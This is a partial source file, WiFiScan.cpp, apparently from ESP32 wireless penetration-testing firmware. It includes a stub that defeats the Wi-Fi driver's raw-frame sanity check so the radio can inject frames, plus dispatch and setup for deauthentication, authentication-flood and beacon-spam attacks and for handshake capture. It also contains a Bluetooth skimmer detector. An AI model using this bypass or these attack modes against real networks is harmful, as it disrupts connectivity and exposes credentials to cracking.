WiFiScan.cpp 98 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. WiFi.mode(WIFI_AP_STA);
  307. //esp_wifi_init(&cfg);
  308. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  309. //esp_wifi_set_mode(WIFI_AP_STA);
  310. //esp_wifi_start();
  311. //esp_wifi_set_promiscuous_filter(NULL);
  312. esp_wifi_set_promiscuous(true);
  313. esp_wifi_set_max_tx_power(82);
  314. this->wifi_initialized = true;
  315. #ifdef MARAUDER_FLIPPER
  316. flipper_led.attackLED();
  317. #endif
  318. initTime = millis();
  319. }
  320. bool WiFiScan::shutdownWiFi() {
  321. if (this->wifi_initialized) {
  322. esp_wifi_set_promiscuous(false);
  323. WiFi.disconnect();
  324. WiFi.mode(WIFI_OFF);
  325. esp_wifi_set_mode(WIFI_MODE_NULL);
  326. esp_wifi_stop();
  327. esp_wifi_deinit();
  328. #ifdef MARAUDER_FLIPPER
  329. flipper_led.offLED();
  330. #endif
  331. this->wifi_initialized = false;
  332. return true;
  333. }
  334. else {
  335. return false;
  336. }
  337. }
  338. bool WiFiScan::shutdownBLE() {
  339. #ifdef HAS_BT
  340. if (this->ble_initialized) {
  341. pBLEScan->stop();
  342. pBLEScan->clearResults();
  343. BLEDevice::deinit();
  344. #ifdef MARAUDER_FLIPPER
  345. flipper_led.offLED();
  346. #endif
  347. this->ble_initialized = false;
  348. return true;
  349. }
  350. else {
  351. return false;
  352. }
  353. #endif
  354. return true;
  355. }
  356. // Function to stop all wifi scans
  357. void WiFiScan::StopScan(uint8_t scan_mode)
  358. {
  359. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  360. (currentScanMode == WIFI_SCAN_AP) ||
  361. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  362. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  363. (currentScanMode == WIFI_SCAN_PWN) ||
  364. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  365. (currentScanMode == WIFI_SCAN_EAPOL) ||
  366. (currentScanMode == WIFI_SCAN_ALL) ||
  367. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  368. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  369. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  370. (currentScanMode == WIFI_ATTACK_AUTH) ||
  371. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  372. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  373. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  374. (currentScanMode == WIFI_PACKET_MONITOR) ||
  375. (currentScanMode == LV_JOIN_WIFI))
  376. {
  377. this->shutdownWiFi();
  378. }
  379. else if ((currentScanMode == BT_SCAN_ALL) ||
  380. (currentScanMode == BT_SCAN_SKIMMERS))
  381. {
  382. #ifdef HAS_BT
  383. this->shutdownBLE();
  384. #endif
  385. }
  386. #ifdef HAS_SCREEN
  387. display_obj.display_buffer->clear();
  388. //Serial.print("display_buffer->size(): ");
  389. Serial.println(display_obj.display_buffer->size());
  390. display_obj.tteBar = false;
  391. #endif
  392. }
  393. String WiFiScan::getStaMAC()
  394. {
  395. char *buf;
  396. uint8_t mac[6];
  397. char macAddrChr[18] = {0};
  398. esp_wifi_init(&cfg);
  399. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  400. esp_wifi_set_mode(WIFI_MODE_NULL);
  401. esp_wifi_start();
  402. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  403. this->wifi_initialized = true;
  404. sprintf(macAddrChr,
  405. "%02X:%02X:%02X:%02X:%02X:%02X",
  406. mac[0],
  407. mac[1],
  408. mac[2],
  409. mac[3],
  410. mac[4],
  411. mac[5]);
  412. this->shutdownWiFi();
  413. return String(macAddrChr);
  414. }
  415. String WiFiScan::getApMAC()
  416. {
  417. char *buf;
  418. uint8_t mac[6];
  419. char macAddrChr[18] = {0};
  420. esp_wifi_init(&cfg);
  421. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  422. esp_wifi_set_mode(WIFI_MODE_NULL);
  423. esp_wifi_start();
  424. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  425. this->wifi_initialized = true;
  426. sprintf(macAddrChr,
  427. "%02X:%02X:%02X:%02X:%02X:%02X",
  428. mac[0],
  429. mac[1],
  430. mac[2],
  431. mac[3],
  432. mac[4],
  433. mac[5]);
  434. this->shutdownWiFi();
  435. return String(macAddrChr);
  436. }
  437. String WiFiScan::freeRAM()
  438. {
  439. char s[150];
  440. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  441. this->free_ram = String(esp_get_free_heap_size());
  442. return String(s);
  443. }
  444. // Function to start running a beacon scan
  445. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  446. {
  447. sd_obj.openCapture("ap");
  448. #ifdef MARAUDER_FLIPPER
  449. flipper_led.sniffLED();
  450. #endif
  451. Serial.println(text_table4[9] + (String)access_points->size());
  452. #ifdef HAS_SCREEN
  453. display_obj.TOP_FIXED_AREA_2 = 48;
  454. display_obj.tteBar = true;
  455. display_obj.print_delay_1 = 15;
  456. display_obj.print_delay_2 = 10;
  457. display_obj.initScrollValues(true);
  458. display_obj.tft.setTextWrap(false);
  459. display_obj.tft.setTextColor(TFT_WHITE, color);
  460. display_obj.tft.fillRect(0,16,240,16, color);
  461. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  462. display_obj.touchToExit();
  463. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  464. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  465. #endif
  466. esp_wifi_init(&cfg);
  467. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  468. esp_wifi_set_mode(WIFI_MODE_NULL);
  469. esp_wifi_start();
  470. esp_wifi_set_promiscuous(true);
  471. esp_wifi_set_promiscuous_filter(&filt);
  472. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  473. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  474. //else
  475. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  476. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  477. this->wifi_initialized = true;
  478. initTime = millis();
  479. }
  480. #ifdef HAS_SCREEN
  481. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  482. display_obj.tft.init();
  483. display_obj.tft.setRotation(1);
  484. #ifdef TFT_SHIELD
  485. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  486. Serial.println("Using TFT Shield");
  487. #else if defined(TFT_DIY)
  488. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  489. Serial.println("Using TFT DIY");
  490. #endif
  491. display_obj.tft.setTouch(calData);
  492. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  493. lv_disp_load_scr(scr);
  494. }
  495. #endif
  496. void WiFiScan::RunClearAPs() {
  497. #ifdef HAS_SCREEN
  498. display_obj.tft.setTextWrap(false);
  499. display_obj.tft.setFreeFont(NULL);
  500. display_obj.tft.setCursor(0, 100);
  501. display_obj.tft.setTextSize(1);
  502. display_obj.tft.setTextColor(TFT_CYAN);
  503. display_obj.tft.println(F(text_table4[9]));
  504. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  505. #else
  506. this->clearAPs();
  507. #endif
  508. }
  509. void WiFiScan::RunClearSSIDs() {
  510. #ifdef HAS_SCREEN
  511. display_obj.tft.setTextWrap(false);
  512. display_obj.tft.setFreeFont(NULL);
  513. display_obj.tft.setCursor(0, 100);
  514. display_obj.tft.setTextSize(1);
  515. display_obj.tft.setTextColor(TFT_CYAN);
  516. display_obj.tft.println(F(text_table4[11]));
  517. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  518. #else
  519. this->clearSSIDs();
  520. #endif
  521. }
  522. void WiFiScan::RunGenerateSSIDs(int count) {
  523. #ifdef HAS_SCREEN
  524. display_obj.tft.setTextWrap(false);
  525. display_obj.tft.setFreeFont(NULL);
  526. display_obj.tft.setCursor(0, 100);
  527. display_obj.tft.setTextSize(1);
  528. display_obj.tft.setTextColor(TFT_CYAN);
  529. display_obj.tft.println(F(text_table4[13]));
  530. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  531. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  532. #else
  533. this->generateSSIDs(count);
  534. #endif
  535. }
  536. void WiFiScan::RunShutdownWiFi() {
  537. #ifdef HAS_SCREEN
  538. display_obj.tft.setTextWrap(false);
  539. display_obj.tft.setFreeFont(NULL);
  540. display_obj.tft.setCursor(0, 100);
  541. display_obj.tft.setTextSize(1);
  542. display_obj.tft.setTextColor(TFT_CYAN);
  543. display_obj.tft.print(F(text_table4[16]));
  544. #endif
  545. if (this->wifi_initialized) {
  546. this->shutdownWiFi();
  547. #ifdef HAS_SCREEN
  548. display_obj.tft.setTextColor(TFT_GREEN);
  549. display_obj.tft.println(F("OK"));
  550. #endif
  551. }
  552. else {
  553. #ifdef HAS_SCREEN
  554. display_obj.tft.setTextColor(TFT_RED);
  555. display_obj.tft.println(F(text17));
  556. display_obj.tft.println(F(text_table4[17]));
  557. #endif
  558. }
  559. }
  560. void WiFiScan::RunShutdownBLE() {
  561. #ifdef HAS_SCREEN
  562. display_obj.tft.setTextWrap(false);
  563. display_obj.tft.setFreeFont(NULL);
  564. display_obj.tft.setCursor(0, 100);
  565. display_obj.tft.setTextSize(1);
  566. display_obj.tft.setTextColor(TFT_CYAN);
  567. display_obj.tft.print(F(text_table4[18]));
  568. #endif
  569. if (this->ble_initialized) {
  570. this->shutdownBLE();
  571. #ifdef HAS_SCREEN
  572. display_obj.tft.setTextColor(TFT_GREEN);
  573. display_obj.tft.println(F("OK"));
  574. #endif
  575. }
  576. else {
  577. #ifdef HAS_SCREEN
  578. display_obj.tft.setTextColor(TFT_RED);
  579. display_obj.tft.println(F(text17));
  580. display_obj.tft.println(F(text_table4[19]));
  581. #endif
  582. }
  583. }
  584. void WiFiScan::RunInfo()
  585. {
  586. String sta_mac = this->getStaMAC();
  587. String ap_mac = this->getApMAC();
  588. String free_ram = this->freeRAM();
  589. //Serial.print("STA MAC: ");
  590. //Serial.println(sta_mac);
  591. //Serial.print("AP MAC: ");
  592. //Serial.println(ap_mac);
  593. Serial.println(free_ram);
  594. #ifdef HAS_SCREEN
  595. display_obj.tft.setTextWrap(false);
  596. display_obj.tft.setFreeFont(NULL);
  597. display_obj.tft.setCursor(0, 100);
  598. display_obj.tft.setTextSize(1);
  599. display_obj.tft.setTextColor(TFT_CYAN);
  600. display_obj.tft.println(text_table4[20]);
  601. display_obj.tft.println(text_table4[21] + display_obj.version_number + "\n");
  602. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  603. #endif
  604. if (this->wsl_bypass_enabled) {
  605. #ifdef HAS_SCREEN
  606. display_obj.tft.println(text_table4[23]);
  607. #endif
  608. }
  609. else {
  610. #ifdef HAS_SCREEN
  611. display_obj.tft.println(text_table4[24]);
  612. #endif
  613. }
  614. #ifdef HAS_SCREEN
